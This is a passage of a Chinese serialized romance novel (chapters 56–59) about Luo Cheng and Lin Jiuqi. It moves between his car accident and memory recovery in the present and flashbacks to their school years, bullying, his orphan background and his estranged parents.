二人踏入宽敞明亮的教学楼内,只见墙壁洁白胜雪,窗户整齐划一。教室后方的黑板报上,“高考倒计时”几个大字格外醒目,似在无声诉说着紧张而又充满希望的时光。
“这是我们以前上课的教室。”
“我坐在这儿。”
洛澄伸出手,轻柔地摩挲着桌沿,往昔的回忆如汹涌潮水般袭来。她移步至靠窗的后排,继而说道:“你坐在这儿。”
她的目光变得有些迷离,恍惚间,耳畔似乎悠悠传来阵阵朗朗读书声,还有那个端坐在窗边,全神贯注埋头做题的少年身影,那般清晰,似乎就在眼前。
抬眸望向窗外,能看到被红色跑道环绕的绿茵操场,能看到学生们在操场上肆意奔跑的矫健身姿,耳边似乎响起了此起彼伏的蝉鸣声,微风轻柔地拂动着香樟树的树梢,枝叶沙沙作响。
曾经的桩桩件件一一浮现,那些故事和青春岁月,宛如就发生在昨天。
林久期踱步至她身旁,此刻他的脑海一片空白,过往之事全然记不起来。
然而,当他的手触碰到那张带着岁月沧桑痕迹的实木课桌时,一股莫名的熟悉感将他紧紧包裹。
他伸出白皙如玉的手指,轻轻摩挲着课桌上的细微痕迹,在课桌右下角,刻着小小的两个英文——LC。
“洛,澄。”
他一字一顿,缓缓念出,同时努力在脑海深处搜寻着这两个字母被刻下时的场景,不禁问道:“这是我的座位?”
洛澄轻轻应了一声,说道:“走,我再带你去高中部转转。”
盐城市一中占地面积颇为广阔,初中部与高中部仅一墙之隔。
沿着记忆中熟悉的路径,洛澄带着林久期翻墙进入了高中部。
“上了高中之后,你因为工作,就很少会来学校。”
洛澄不紧不慢地讲述着曾经发生过的事儿,林久期则静静地聆听着。
微风悠悠拂过,天边绚丽的晚霞被一点点吹散。
“林久期。”
洛澄走在前方,冷不丁转过身来,神情庄重而又认真,“欢迎回家。”
-
十一月的盐城,气温已然降至零下。寒风凛冽刺骨,如锋利刀刃般划过行人的脸颊,人们纷纷裹上厚实的羽绒服,将自己严严实实地包裹起来。
“怎么才十一月份就这么冷啊。”
窗户上结满了一层薄薄的霜花,宛如一幅幅天然的水墨画。洛澄伸出纤细的手指,在窗上轻轻勾勒着图案,每一笔落下,都有晶莹细小的水珠顺着滑落。
身后传来乔媛媛哆哆嗦嗦的声音。
“最近咋不见你和林久期出去约会呢?”
“他出差去了。”
提及林久期,洛澄下意识地在窗上写下“林久期”三个字,字迹里似藏着对他的思念。
乔媛媛打趣道:“怪不得你会留在家里陪着我呢。”
洛澄折身回到客厅,将自己整个蜷缩在毛毯里,窝在沙发上,拿起遥控器百无聊赖地切换着电视频道。
“你还好意思说我,你不也是因为黄谦去参加综艺了,才待在家里嘛。”
乔媛媛吐了吐舌头,笑着说道:“行了,咱俩谁也别说谁。”
她嘴里塞着巧克力饼干,含糊不清地问道:“林久期啥时候回来?”
“今天。”
洛澄话音刚落,便被电视机里的新闻播报吸引了全部注意力。
“我是盐城电视台记者云烟,我现在所处的位置是盐城市中安高速路仁江大桥……”
画面一转,切换至车祸现场,只见高架桥上一片狼藉。
一辆大货车重重地撞在桥边的挡板上,大半个车身悬在空中,摇摇欲坠,仿佛下一秒就会坠落。与之相撞的白色轿车已严重侧翻,车身被撞得扭曲变形,挡风玻璃碎成了无数片,散落一地。
后方的车辆因巨大的惯性,一辆接一辆地发生追尾。
现场一片血肉模糊,伤者的哀嚎声与求救声交织在一起,令人揪心。
乔媛媛忍不住惊呼出声:“天呐!”
她猛地坐直身子,双眼紧紧盯着电视机里的现场直播画面,惊叫道:“怎么会这么严重,仁江大桥不就在附近吗?!”
听着一线记者的报道,洛澄掏出手机,屏幕上显示的时间是16:03。
得告诉九七一声,让他开车回来千万别走这条路。
她拨通了电话,然而电话那头却始终无人接听。
洛澄心想,他或许正在开车,没留意到电话,于是赶忙编辑了一条短信发送过去。
随后,她起身迈向厨房,打开冰箱,看着里面摆放的食材,说道:“晚上吃火锅吧。”
乔媛媛仍沉浸在刚才那场可怕的新闻报道中,眼睛一眨不眨地紧盯着电视机。
洛澄瞧了她一眼,没等她回应,便拿出食材放置在灶台上。
菜刀与菜板相互碰撞,发出清脆悦耳的声响。
“嘶——”
洛澄倒吸一口凉气,只见拇指上涌出殷红的鲜血。她赶忙用水冲洗伤口,随后移步客厅,从医药箱里取出创可贴贴上。
电视上依旧播放着车祸现场的画面,洛澄的右眼皮不受控制地剧烈跳动起来,一种强烈的不祥预感在心底滋生。
乔媛媛见她神情不对,“怎么了?”
洛澄来不及回答,急忙再次掏出手机拨打林久期的电话。
可电话依旧无人接听。
就在这时,乔媛媛的手机铃声骤然响起,是黄谦打来的电话。
“你和洛澄在家吗?”
对方声音十分沉重,乔媛媛瞧了洛澄一眼,回答道:
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“在。”
洛澄立刻凑了过去,乔媛媛按下了免提键。
“久期出事了。”
-
医院里,医生和护士们脚步匆匆,神色匆匆,全身心投入到紧张的救治工作中,这场车祸伤者众多,陆陆续续送来医院。
抢救室外,气氛压抑得让人喘不过气来,四周一片死寂。
洛澄双手紧紧握拳,额头上布满了密密麻麻的汗珠,内心一遍又一遍地默默祈祷着。
没事的,一定没事的。
终于,抢救室的灯熄灭了,医生推门而出。
洛澄第一个踉跄着冲上前去,声音颤抖地焦急问道:“医生,他怎么样了?”
“放心吧,已经脱离生命危险了。”
闻言,洛澄一直紧绷着的神经瞬间松弛下来,她长长地舒了一口气。
林久期躺在病床上被缓缓推了出来,洛澄跟在后面,突然一阵强烈的眩晕感袭来,眼前一黑,她直直地倒在地上,昏了过去。
夜深人静,万籁俱寂,唯有窗外偶尔传来几声虫鸣。
病房内,洛澄猛地从噩梦中惊醒,大口大口喘着粗气,满头大汗,睡衣早已被汗水浸湿。
乔媛媛在旁边被吓得不轻,急忙问道:“怎么了怎么了?”
洛澄心急如焚地问道:“九七呢?他在哪儿?”
乔媛媛赶忙回答:“他在隔壁病房。”
洛澄迅速掀开被子,鞋没穿好便冲了出去。
走进病房,只见林久期头上缠着厚厚的纱布,面色苍白,静静地躺在病床上。
黄谦守在一旁,轻声道:“他还没醒。”
洛澄声音轻柔地说:“你去休息吧,我来守着就好。”
洛澄坐在床边,心中的恐惧和担忧丝毫未减。
她又梦到了高三毕业那年,林久期遭遇车祸的场景,再次与林久期重逢之前,这个噩梦如同鬼魅般整整纠缠了她四年。
她怕。
怕极了。
那种恐惧深入骨髓。
怕他再次遭遇不测,怕他再度从自己的世界里消失得无影无踪。
洛澄小心翼翼地握住林久期的手,声音带着哭腔,几近哽咽,“如果可以,我多希望遭遇这一切不幸的人是我。”
-
晨光熹微,柔和的光线仿若一层薄纱,透过窗户,悄然洒进病房。
洛澄悠悠转醒,一睁眼便发现林久期正静静地凝视着自己。
她瞬间紧张起来,仔仔细细地检查着他,“有没有哪里不舒服?想不想喝水?我这就去喊医生!”
洛澄刚转身准备离开,手腕却被一只略显微凉的手轻轻拉住。
洛澄回过头,只见林久期那双深褐色的桃花眼里波光流转,他沙哑着嗓子,轻轻地唤了一声:“姌姌……”
洛澄一下子呆立在原地,被定住了一般,不敢相信自己的耳朵,以为是出现了幻听。
她紧紧地盯着林久期,声音颤抖着问:“你……你喊我什么?”
这一次。
林久期的眼神中满是深情与专注,说得格外认真。
洛澄也听得格外清晰,每个字都重重地落在她的心尖上。
“姌姌。”
57. 第57章
2010年9月1日,星期三。
阳光早早地就铺满了整个校园。
微风轻拂,学校里的梧桐树叶像是被大自然悄悄染上了一层淡淡的黄色,在晨光温柔的抚摸下,泛着暖烘烘的光,仿佛每一片叶子都在诉说着新学期的期待。
彼时,安静的学校操场宛如一片未经惊扰的净土,空荡而静谧,不见一人的踪迹,唯有那座教学楼里,朗朗书声不绝于耳,此起彼伏。
就在这宁静而美好的氛围中,一阵急促慌乱的脚步声骤然在教学楼的走廊里响起,那声音打破了原有的和谐,显得格外突兀。
“完了完了,这刚开学第一天就迟到。”
洛澄一边叫苦不迭,一边拼了命地奔跑,跑得气喘吁吁,额头上布满了密密麻麻的汗珠,豆大的汗珠顺着脸颊滑落,浸湿了发丝,一缕缕湿漉漉的头发狼狈地贴在她那略显焦急的脸颊上。
在教学楼走廊的拐角处,洛澄由于跑得太急,一个不留神,整个人直直地朝着前方撞了过去。
伴随着一声尖锐刺耳的高分贝尖叫,一个水桶被撞得掀翻在地,桶里的水如同决堤的洪水,瞬间在地面上肆意蔓延开来。
洛澄揉着撞得生疼的额头,没好气地开口:“你怎么走路不长眼睛。”
可话刚出口,她便抬起头,一下子呆住了。
映入她眼帘的是一个身着同款校服的男生,那男生的五官精致得犹如精心雕琢的稀世艺术品,无可挑剔。
尤其是他那双深褐色的桃花眼,眼眸深邃而迷人,仿佛藏着浩瀚宇宙中的漫天星辰,熠熠生辉,漂亮得让人移不开眼。
不过洛澄毕竟还记着自己正处于迟到的窘迫境地,哪还有心思沉醉于欣赏眼前男生的帅气面容。
短暂的愣神后,她迅速回过神来,心急如焚,赶忙准备拔腿跑走。
可刚迈出两步,她又像是突然想起了什么,大大咧咧地猛然回头,扯着嗓子喊道:“喂,小帅哥,初一一班在哪?”
少年神情温和,然后指了与她原本方向相反的地方。洛澄丝毫没有怀疑,朝着少年指的方向匆匆跑去。
少年看着她急忙跑远的背影,轻轻摇了摇头,随后微微屈身捡起地上的水桶,视线掠过被水打湿的裤脚和白色休闲鞋,眉宇拧了下。
洛澄边跑边往路过的教室门牌上看,从高二看到高三,越跑越觉得不对劲。
“怎么越来越不对劲啊?”
恰巧旁边楼梯口走下来一位戴着黑色镜框的男人,男人年纪看着不小,那高高的发际线格外引人注目。
“你哪个班的?现在上课时间,瞎晃什么?!”男人严厉的声音传遍整条走廊。
洛澄被这突如其来的吼声吓了一跳,咽了咽口水,有些发怵地回答:“老师,我迷路了,我要去初一一班。”
教导主任上下打量了她一眼,没好气地说:“跟我走。”
教导主任带着她原路返回,甚至折返到了刚才撞人的地方。
洛澄这才恍然大悟,原来之前那个男生故意指错路给她!
还没走到初一一班门口,就听到里面传来嘈杂的喧闹声。
教导主任背着手,满脸怒容地说道:“还没走过来就听到你们班的声音了,就你们班最吵!”
初一一班的同学们正在集体打扫卫生,听到这声怒吼,瞬间都僵在了原地,一动也不敢动,连眼皮都不敢抬一下。
站在讲台上的女班主任见状,赶忙唤了声:“李主任。”
李主任轻轻哼了几声,双手依旧背在身后,迈着步子离开了。
班主任来到门口,脸上露出温和的笑容,轻声问道:“你是洛澄吗?”
洛澄乖巧地点了下头,带着几分愧疚说道:“是的老师。老师对不起,我来迟到了。”
此时,教室墙壁上的时钟指针已经走到了十点十二分,班主任却并没有生气,依旧温柔地说:“没事,你先去我办公室把报名信息填了吧。”
说完,班主任又扭头看向刚走进来的人,“林久期,你回来的正好,你带她去吧。”
洛澄回头一看,竟然是刚才那个故意指错路的小帅哥。
心里顿时涌起一股懊恼,暗暗想着:真是冤家路窄啊。
她现在更加确定,他刚才绝对是故意的。
-
早晨的阳光正好,带来丝丝缕缕的惬意。洛澄穿过那条蜿蜒曲折、两旁长满青草野花的小路,来到了一处静谧无人的小树林。
“咪咪。”
她轻轻唤了一声,声音温柔得如同春日里的微风。
很快,一只小三花猫从茂密的草丛中钻了出来,它的眼睛圆溜溜的,身上的毛黑白相间,像极了打翻了的调色盘。
洛澄小心翼翼地从校服口袋里拿出藏得严严实实的火腿肠,脸上满是心疼与怜惜的神情:“一定饿坏了吧,小宝贝。”
她一边轻声呢喃着,一边缓缓蹲下身子,准备撕开火腿肠的包装,给这只可爱的小家伙喂食。
可就在她刚要把食物递到小猫嘴边时,树林里突然传来一阵奇怪而又突兀的异响。
小三花猫耳朵瞬间一竖,像是受到了极大的惊吓,呲溜一下就跑得没了踪影,只留下洛澄一脸恼怒地站在原地。
洛澄顺着声响处看去,一个熟悉的身影路过。
似乎感受到了这灼热的目光,那惊扰者往她这边看来。
洛澄定睛一看,林久期。
她顿时气得白了他一眼。
然后转身去寻找小三花的去处,可找了半天也没找到,只能无奈地返回教室。
下课铃声响了,洛澄这才满心失落,悠悠地回到教室。可她一进教室就察觉到不对劲,班同学看向自己的眼神格外怪异,他们三三两两的凑在一起,小声地交头接耳,不知道在讨论什么。
直到十分钟后的上课铃响,这堂课是班主任的课。
“张老师,洛澄偷了我的东西!”
一个尖锐的声音打破了课堂的平静。
还在抽屉里翻找书本的洛澄闻言,愣愣地抬起头,一脸茫然:“啥?”
指控她的女生赵芮晴说的义正言辞,“体育课所有人都在,就洛澄一个人不在,肯定是她偷的!”
所有人的目光瞬间都聚集在洛澄一人身上,像无数道探照灯,让她有些无所适从。
“你凭什么说是我偷的,你有证据吗?”洛澄不甘示弱地反驳道。
赵芮晴双手抱胸,理直气壮地说:“不是你还能是谁?那你说你没上体育课,你去干嘛了?”
洛澄一时语塞,陷入了沉默。她总不能说自己去喂猫了吧,学校可是不让养猫的。
班主任神色变得严肃起来,看着洛澄问道:“洛澄,你为什么没有上体育课?”
洛澄依旧保持沉默,教室里的气氛愈发压抑。
周围同学的议论声此起彼伏。
“天啊,她怎么是这样的人?”
“该不会真的是她偷的吧。”
就在这铺天盖地的指责和讨论声中,一道清冽的男音格外明显:“她没偷。”
洛澄猛地回头看向说话的人。
林久期坐得笔直,阳光透过窗户洒在他身上,仿佛为他镀上了一层金色的光辉,他的脸上神色平静,眼神坚定。
“她在学校后操场喂猫。”
-
中午放学后,阳光变得愈发炽热,仿佛要将整个世界都点燃。
洛澄气冲冲地找到林久期,双手叉腰,像个小辣椒似的质问:“喂,你凭什么把我
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喂猫的事情说出去啊?”在
林久期看着她,语气不温不火,“是猫重要还是你的名声重要?”
两人一前一后从食堂出来,午后的热浪扑面而来,让人感觉有些慵懒。
林久期迈着不紧不慢的步伐往教学楼方向走去,他的背影在阳光下显得格外修长。
洛澄撇了撇嘴,满脸的不乐意,心中的闷气还未消散,转身朝着后操场走去,她需要一个安静的地方,好好平复一下自己的心情。
晌午,太阳炽热得仿佛要将大地烤化,阳光毫无遮拦地透过窗户,洒在教室里。
闷热的空气弥漫在每一个角落,让人感觉仿佛置身于一个巨大的蒸笼之中。
学生们趴在课桌上昏昏欲睡,教室里时不时传来几声此起彼伏的呼噜声,仿佛是一首独特的午睡交响曲。
林久期睡眠极浅,前排同学那响亮的呼噜声让他根本睡不着。他枕着胳膊,侧趴着面朝窗外,试图闭目养神。
忽地,一颗不明物体砸在了他的头上。
他吃痛地坐起身,那东西从发梢上滑落,啪嗒一声掉在课桌上,原来是颗白色粉笔头。
还没等他反应过来,又有好几颗粉笔头扔了过来,砸在了他脸上。
他抬眼望去,只见几个男生笑得前仰后合,脸上满是嘲讽的神色,还有一个男生正对着他做鬼脸。
林久期只是皱了皱眉头,却不以为意,默默继续趴着,似乎这场闹剧与他无关。
洛澄恰巧回来走到教室门口,眼前发生的这一切她看得一清二楚。
其中一位男同学又拿起一支中性笔,抬手正准备再扔过去,手腕突然被人捏住。
洛澄紧紧捏住男同学的手腕,使劲一扭,中性笔掉在地上发出清脆的声响,男同学疼得吱哇乱叫。
“手这么欠,需不需要我帮你废了?”洛澄怒目而视,声音里带着几分狠劲。
男同学吓得脸色苍白,哼哼几声后灰溜溜地跑走了。
“他们都欺负到你头上了,你为什么不还手?”洛澄走到林久期面前,一脸不解地问道。
林久期的皮肤本就白皙,脸颊上此时已然被砸出红印子,看着格外明显。
洛澄又低头看了眼自己刚买回来的鸡蛋,随后拿着鸡蛋轻轻戳在了他的脸上,想要帮他消肿。
林久期身子一怔,有些惊讶地望向她,眼里一闪而过的复杂情绪。
“我妈妈说过,不能欺负人,但也一定不能被人欺负。”洛澄认真地说,“你不用谢我,就当上次你帮我澄清偷东西的答谢。”
其实,这种事在林久期身上经常发生。洛澄常常看到林久期被同班同学捉弄,她已经记不得自己是第几次出面帮他撑腰了。
“喂,林久期,你都不还手吗?”洛澄满脸疑惑地问道。
“他们也没有做什么实质性的伤害。”
林久期回答得很平静,仿佛这些伤害对他来说都微不足道,他的语气里透着一种超乎年龄的淡然与宽容。
洛澄有点急了,她不明白林久期为什么总是这么隐忍,“一定要等到伤害发生了,再去解决问题吗?那不就晚了吗?”
“我不想打架。”林久期摇了摇头。
“没让你打架,但你得反抗啊,反抗知道吗?”洛澄耐心地解释着,“就是别人咬你一口,你就得咬回去,让他知道疼,这样他下次才不敢欺负你。”
林久期语气里难得有一分打趣,“狗咬我,我也得咬回去?”
“……”洛澄一时语塞,顿了顿才说:“我只是打个比方。”
“洛澄。”
“干嘛?”
“你为什么帮我?”
“我心肠好吧。”
“你喜欢我?”
“……”
58. 第58章
自林久期那次不经意间抛出那个问题,“喜欢”二字便如同春日里一颗极其微小的种子,在洛澄心底悄然种下,生根、发芽,让她时不时就忍不住陷入思索。
喜欢,究竟是什么?
彼时的她,不过是个初入初一的懵懂孩童,所能想到的,便是自己对爸爸妈妈那份纯粹的爱。她满心期许,盼着父母永远都能开开心心,身体健健康康,永远不会被病痛折磨,也不会被烦恼纠缠。
这般细细琢磨着,她猛然惊觉,自己对林久期似乎也怀着同样的心思。
只要一想到他可能会受伤,心里就像被一只无形的手轻轻揪住,隐隐作痛。
难道,这就是所谓的喜欢?
午后,慵懒的阳光毫无保留地洒落在课桌上,洛澄用单手撑着下巴,眼神有些迷离,整个人深深沉浸在自己的思绪之中。
“在想什么呢?”
一道熟悉又亲切的声音骤然打破了她的沉思。
洛澄闻声,缓缓抬起头,只见林久期背着书包,脸上带着好奇的神情正望向她,随后在她身旁的空位上稳稳坐下。
“九七,你说,到底什么是喜欢?”洛澄微微歪着头,目光直直地看向林久期。
林久期微微一怔,显然完全没想到她会冷不丁抛出这个问题,“怎么突然问起这个?”
“你初一的时候不是问我,是不是喜欢你吗?”洛澄轻轻咬了咬嘴唇,神情有些羞涩,“从那以后,我就一直在琢磨,到底怎样才算喜欢,可绞尽脑汁也想不明白。”
林久期沉默了片刻,他无论如何也想不到,自己当初一句无心之言,竟让洛澄苦苦思索了整整三年。
“想不通就不想了。”他微笑着,抬手轻轻摸了摸洛澄的头,试图帮她驱散这份困惑。
洛澄点了点头,仔细想想,确实没必要非得纠结出个所以然。
她话锋一转,“九七,你当练习生累不累?自从你前段时间成了小明星,我都很难见到你了。”
林久期听到这话,不禁回想起自今年5月成为盛兴传媒的练习生后,每天的生活都被高强度的训练塞得满满当当,确实已经很久没能在学校好好待着了。
“是挺忙的。”他有些无奈地笑了笑。
“等你以后更出名了,我是不是就更难见到你了?”洛澄的声音里带着一丝担忧,还有些许不安。
“不会的。”林久期认真地看着她,眼神坚定,“只要你想见我,不管什么时候,不管我在哪里,我都一定会来见你。”
洛澄笑了,那笑容如同春日盛开的花朵般灿烂,轻声应了句:“好。”
此时,教室里依旧吵吵嚷嚷。
今天是初三的毕业典礼,仪式结束后,同学们都陆陆续续回到了教室,等待着班主任做最后的安排。
看着周围同学们或是满脸伤感、或是满含不舍的模样,洛澄的心里却没有太大的波澜。
毕竟,她和林久期都已被保送进盐城市一中高中部,在未来的日子里,他们大概率还是会相伴。
“同学们!”
班主任迈着轻快的步伐走进教室,抬手轻轻拍了拍,原本嘈杂喧闹的教室瞬间安静下来。
“初中毕业,是一段旅程的圆满落幕,更是新征程的激昂起点。未来的道路或许荆棘密布、充满挑战,但请坚信,你们每个人的身体里都蕴藏着无限的潜能。只要心怀梦想,一路勇往直前,就一定能披荆斩棘,铸就属于自己的灿烂辉煌。”
班主任的声音激昂有力,充满了鼓舞人心的力量,久久回荡在教室里。
“和大家朝夕相处的这三年,我感到无比开心和满足。祝愿同学们在新的学习阶段,学业有成,前程似锦!愿你们往后的人生,如同一幅绚丽多彩、美轮美奂的画卷,处处洒满温暖的阳光,充满无限的希望!”
听着班主任鼓舞人心的发言,洛澄微微侧过头,轻轻凑近林久期,小声问道:“明天就放假了,你不回家过年吗?”
林久期听到这个问题,有那么短暂的一秒钟愣神,随即低声说道:“回的。”
-
初三一毕业,洛澄便回到了莫川县。
距离除夕夜还有两天。
夜幕缓缓降临,像一块巨大的黑色绸缎,将整个世界温柔包裹。
父亲洛于彬开着出租车,拖着一身的疲惫回到家。
洛澄赶忙快步迎上去,贴心地帮父亲揉着肩膀。洛于彬揉着腰,满脸的倦意仿佛怎么也驱散不开,说道:“今天接了个单子,明天一大早得拉一车烟花送去盐城市里。”
“我也想去。”洛澄眼睛一下子亮了起来,满是期待地看着父亲。
“你在家乖乖等着,这大冷天的,来回跑多折腾。”洛于彬摇了摇头,试图劝住女儿,语气里满是心疼。
“我想顺便去看看妈妈。”洛澄的声音里带着一丝撒娇的意味,也有着一份不容置疑的执着。
听到这话,洛于彬犹豫了一下,最终还是点了点头。
第二天清晨五点,天边才泛起一丝微弱的光,像刚刚睡醒的孩子惺忪的睡眼。
洛澄就和父亲坐上了面包车,一路向着盐城市疾驰而去。
车子抵达盐城市后,径直驶向希望孤儿院。
福利院院长早已在门口等候多时,脸上挂着和蔼可亲的笑容,洛于彬和院长热情地寒暄着,洛澄则被一位温柔的福利院老师领进了院内,说是要安排她吃早饭。
早上八点,福利院的食堂里坐满了大大小小的孩子。
这些孩子,有的还在牙牙学语,发出奶声奶气的声音;有的则和洛澄年纪相仿,朝气蓬勃。
“洛澄,你就坐在这儿,好吗?”老师的声音轻柔得如同春日里的微风,轻轻拂过人心。
洛澄乖巧地点点头,安静地坐下。
就在老师去给她打饭的间隙,洛澄好奇地打量着四周。
突然,一道熟悉的身影从食堂门口走进来,她下意识地站起身,脱口而出:“九七?”
林久期听到呼唤,下意识地转过头,看到是洛澄,也是一愣。
两人对视片刻,几乎同时开口:“你怎么在这儿?”
“我陪爸爸来送货,你呢?你怎么会在福利院?”
林久期的脸上闪过一丝不易察觉的局促与紧张,但还是鼓起勇气说道:“我住在这里。”
说完,他紧张地看着洛澄,她……
她会介意吗?
可洛澄的反应却大大出乎他的意料。“哇,那也太酷了吧!”洛澄眼睛放光,兴奋得像个得到了心爱玩具的孩子,拉起林久期的手,“你能和这么多小朋友住在这么大的房子里,平时肯定特别热闹,特别好玩。”
“你们平时会一起做游戏吗?像丢沙包、老鹰捉小鸡之类的?”
洛澄兴致勃勃地问着,她眼眸乌黑清亮,林久期看得有些入神,仿佛在她的眼中看到了光。
洛澄在福利院没待太久,吃完早饭,又和林久期聊了一会儿天。
就听到父亲在门外喊她:“姌姌,走了,该回家了。”
“来了!”洛澄大声回应着,转身
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准备离开。林久期一脸疑惑:“姌姌?是在喊你吗?”
“嗯,这是我的小名。我妈妈叫冉乐,是冉冉升起的冉,快乐的乐,所以我的名字是女字旁加一个冉字。”洛澄耐心地解释着。
“嗯……”林久期轻声念着,“姌姌。”
“怎么啦?”洛澄回头,一脸不解,眼神里满是纯真。
“姌姌。”林久期又唤了一声,脸上绽放出一抹温暖的笑容,那笑容如同冬日里的炉火,“新年快乐。”
-
林久期成功出道之后,凭借着自身出众的才华与不懈的努力,在短短不到一年的时间里,火遍了全国。
他所在的组合TheOne,其歌曲更是势如破竹,一举登上各大音乐平台的榜首。
无论是在繁华都市的主干道,还是穿梭于某个宁静的街头小巷,都能清晰地听到街边店铺里播放着他们的歌曲。
那旋律仿佛已经融入了城市的每一处角落,成为了人们生活中的一部分。
出名固然带来了无数的鲜花与掌声,可……
高二上学期的某个周一,天气格外寒冷,凛冽的寒风如刀子般刮过脸颊。
午休时间一到,大部分学生都迫不及待地回到温暖的宿舍,教室内顿时变得空荡荡的,人寥寥无几。
洛澄正坐在座位上,肚子突然咕噜一声叫了起来,她下意识地看了眼墙上挂着的时钟。
九七去食堂买饭了,按照以往的时间推算,他早该回来了呀,怎么到现在还没影呢?
这般想着,洛澄伸手拿起自己椅背上挂着的粉色羽绒棉服,快速套在身上,起身往外走去。
她刚从教学楼梯走下,便隐隐约约听到一层传来激烈的争执声。那声音,她再熟悉不过了,是林久期的!
她的脚步瞬间一顿,原本向前的动作也停了下来,心中涌起一丝不安,没有继续贸然上前。
“当初抛弃我的,是你们。”
“久期,爸爸妈妈当时也是实在不得已啊,你就原谅我们这一次好不好?”一个女人的声音随之传来,带着浓浓的哽咽,仿佛下一秒就要哭出声来,“你就跟妈妈回家吧,我们以后一定好好弥补你。”
“你们把我扔在垃圾桶里,如果不是院长发现,我恐怕早死了。”
林久期的表情异常冷漠,眼神中透露出深深的失望,“那时候,我还不到一岁。”他的声音微微颤抖,每一个字都像是从牙缝里挤出来的,“既然从一开始就不想要我,那当初为什么要生下我呢?”
“对不起,当初是我们错了,我们知道错了。”女人说着,忍不住伸手想去拉住林久期,似乎想要用这个动作来挽回他们之间破碎的亲情。
然而,林久期却像是触电般,往后退了一步,毫不犹豫地避开了女人的触碰。
“我不想见到你们,你们走吧。”林久期别过头,不想再看眼前这两个人一眼,话语中满是决绝。
旁边一直沉默的男人见状,突然一把抓住林久期的胳膊,脸上露出一丝恼怒:“你怎么连你爸妈的话都不听了?!我们是你的父母,你怎么能这么不孝!”
随着男人的动作,争执声愈发激烈。
洛澄在一旁看着,眼见男人的手抓得越来越紧,似乎要强硬拉扯林久期离开,她心中的担忧瞬间达到了顶点。
来不及多想,她像一只护犊的小兽般,立马冲了出去,用尽全身力气猛的推开男人。
她小小的身躯挡在林久期的身前,将他紧紧护在身后,大声喊道:“他都说了,他不想见到你们!”
59. 第59章
盐城市的天空像是被一只无形的大手撕开了一道口子,豆大的雨点倾盆而下,肆虐了一整晚。雨幕笼罩下的城市,被洗刷得有些凄清,而伫立在街角的医院,在这大雨的肆虐中更显孤寂。医院的外墙被雨水冲刷得湿漉漉的,昏黄的灯光在雨雾中摇曳,仿佛随时都会被这磅礴的雨夜吞噬。
“本市今日在渔北路发生一起交通事故,造成5人死亡,17人受伤……”医院前台,一位年轻的小护士正捧着手机,看着今天的新闻播报,忍不住嘀咕了一句,“这冬天路上结凝,开车出门可得注意安全了。”她的声音里带着几分担忧,眼神也不自觉地飘向了窗外那片雨幕。
身旁一位年长些的护士听闻,附和道:“幸好我都是坐地铁。”她一边说着,一边轻轻整理着桌上的文件。
此时,洛澄和林久期恰好路过。
洛澄脚步顿了一下,她下意识地敛了敛眸,像是被这沉重的话题压了一下,她侧过头,看了看身旁神色恍惚的林久期,没有多做停留,拉着他加快了几步。
此刻的林久期,整个人像是丢了魂,脚步虚浮,任由洛澄拉着。
医院门口。
眼前的世界被浓重的水雾模糊得近乎虚幻。
雨势丝毫没有减弱的迹象,雨滴参差不齐地砸在地上坑坑洼洼的积水里,溅起层层水花,又迅速汇聚成波纹,荡漾开来,倒映着这阴暗压抑的城市。
晚上八点的冬天,天色早已暗得像是被浓稠的墨汁浸染过一般,没有一丝光亮能穿透这厚重的黑暗。
洛澄费力地高举着一把粉色小猫图案的雨伞,这把伞实在不大,在狂风骤雨的肆虐下,显得摇摇欲坠。
两人不得不紧紧地肩靠肩,才勉强避免被雨水淋湿。
洛澄的发丝被风吹乱,几缕贴在她那略显苍白的脸颊上,她时不时地侧头看看林久期,眼中满是担忧。
回想起下午上课时,班主任突然神色匆匆地走进教室,喊走了林久期。
洛澄清楚地看到,林久期离开时脸色苍白如纸,他脚步踉跄,像是被什么沉重的东西压垮了脊梁。
时间一分一秒地过去,林久期却久久未归,洛澄坐立难安,课也听不进去,犹豫再三,还是跟班主任打听情况。
等她赶到医院时,林久期正失魂落魄地站在医院的走廊处,眼神空洞地望着前方,对周围的一切都视若无睹。
他的衣服被雨水打湿,紧紧地贴在身上,头发也湿漉漉地耷拉着,整个人像是一尊被遗弃的雕塑。
那一刻,洛澄的心都揪在了一起。
她走得匆忙,只随手拿了这把小伞,此刻,两人就这样在风雨中并肩前行,一路沉默不语,只有那雨滴打在伞面上的噼里啪啦声。
直到临近学校,走进一条狭窄昏暗的小巷。
雨水顺着快脱落的破旧墙皮不断渗下,滴答滴答地落在地上,和着巷子里的积水,形成了一片泥泞。
林久期在这一刻,仿佛再也支撑不住,像是卸下了身上所有的盔甲,疲惫的身躯缓缓弯下,勾着腰,额头轻轻靠在洛澄的肩头。
他的身体微微颤抖着,声音沙哑无比,“姌姌……”
“我只有你了。”
那声音里的无助与绝望,如同一把锐利的刀,直直地刺进洛澄的心里,她眼眶一热,泪水差点夺眶而出,她伸出手,紧紧地抱住林久期。
“你还有我。”
-
林久期父母双亡,在福利院长大的这件事,不知怎的,很快就在班里传开了。
一些之前就对他心怀不满的男生,这下更是找到了机会,开始当面各种嘲讽。
“你个没爹娘要的小野种。”说话的是班里的大高个男同学,他长得高高瘦瘦,五官也算硬朗帅气,还在学校谈了个女朋友。
可他的女朋友却对林久期格外着迷,这让他心里一直憋着一股火,平常就喜欢找林久期的茬,还骂他是小白脸。
“有些人表面看起来光鲜亮丽的,实则居然是个没人要的孤儿,可笑,我看你啊……”
他正说得唾沫横飞,突然,“啪”的一声,不知从哪里飞来的一本厚厚的书本,重重地砸在了他的头上。
男同学被打得眼冒金星,恶狠狠地回过头,怒吼道:“槽!谁啊?!”
“我!你姑奶奶!”洛澄不知从哪里来的勇气,手里紧紧捏着那本还带着她体温的书,站在林久期身前,指着男生,大声喝道:“你有种再说一次?!”
洛澄扫视着周围那些对林久期议论纷纷的人,声音洪亮而坚定:“我警告你们,你们谁要是再敢说林久期的闲话,先掂量掂量自己的脑袋够不够硬!”
“洛澄,你找死?!”
高个子男生气得脸都涨红了,眉毛高高竖起,像两把倒插的剑。
他扬起大手,作势要挥下去,可就在那一瞬间,胳膊突然被人死死抓住。
林久期不知何时站到了洛澄身边,他冷着眼,眼神中透着一股让人胆寒的寒意,一字一顿地说:“你动她一下试试。”
两人个子齐平,林久期那蒙上寒霜的桃花眼,此刻仿佛结了冰,直直地盯着高个子男生。
高个子被他这眼神一盯,心里突然一怯,可当着班里所有同学的面,他又怎么能丢了面子,只能强撑着嘴硬道:“林久期,你算个什么东西也敢威胁我?!”
林久期没有说话,只是手的力道愈发用力,高个子疼得脸都扭曲了,忍不住拧了下眉。
